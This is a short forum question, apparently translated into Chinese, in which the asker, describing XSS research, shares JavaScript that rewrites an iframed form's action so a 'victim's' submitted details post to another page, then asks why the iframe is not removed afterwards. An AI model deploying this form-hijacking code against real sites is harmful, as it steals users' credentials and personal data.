作为我正在做的一些 XSS 研究的一部分,我正在尝试使用更改的表单操作生成一个 iframe,然后在受害者提交他们的详细信息后关闭 iframe。到目前为止,我有以下代码:
<body onload="iframeEdit()">
<script>
function deleteIframe() {
var iframe = document.getElementById("myframe");
iframe.parentNode.removeChild(iframe);
}
function iframeEdit() {
var iframe = document.getElementById("myframe");
var innerDoc = iframe.contentDocument || iframe.contentWindow.document;
var form = innerDoc.getElementsByTagName("form");
form[0].action = "http://127.0.0.1/new/page.php";
form[0].setAttribute("onSubmit", "deleteIframe()");
}
</script>
<iframe id="myframe" src="http://127.0.0.1/iframe/page.php" height="250" width="300">
该代码仍将表单详细信息发布到 php 页面;但是,之后它无法关闭 iframe。我知道 iframe 删除代码可以工作,就好像我自己尝试它一样工作。因此,要么与脚本的逻辑流程有关,要么 setAttribute 行没有按应有的方式工作。谁能阐明我哪里出错了?谢谢!